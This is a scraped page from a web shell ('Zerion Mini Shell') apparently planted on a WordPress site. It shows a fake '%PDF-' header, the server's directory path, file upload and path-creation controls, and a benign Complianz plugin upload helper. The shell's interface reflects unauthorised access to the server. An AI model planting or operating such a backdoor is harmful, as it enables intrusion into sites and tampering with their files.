%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tradesc/www/relax/wp-content/plugins/complianz-gdpr/settings/src/utils/
Upload File :
Create Path :
Current File : /home/tradesc/www/relax/wp-content/plugins/complianz-gdpr/settings/src/utils/upload.js

import axios from 'axios';

export const upload = (action, file, details) => {
	let formData = new FormData();
	formData.append("data", file);
	if ( typeof details !== 'undefined' ){
		formData.append("details", JSON.stringify(details));
	}
	return axios.post(cmplz_settings.admin_url+'?page=complianz&cmplz_upload_file=1&action='+action, formData, {
		headers: {
			"Content-Type": "multipart/form-data",
			'X-WP-Nonce': cmplz_settings.nonce,
		},
	});
}

Zerion Mini Shell 1.0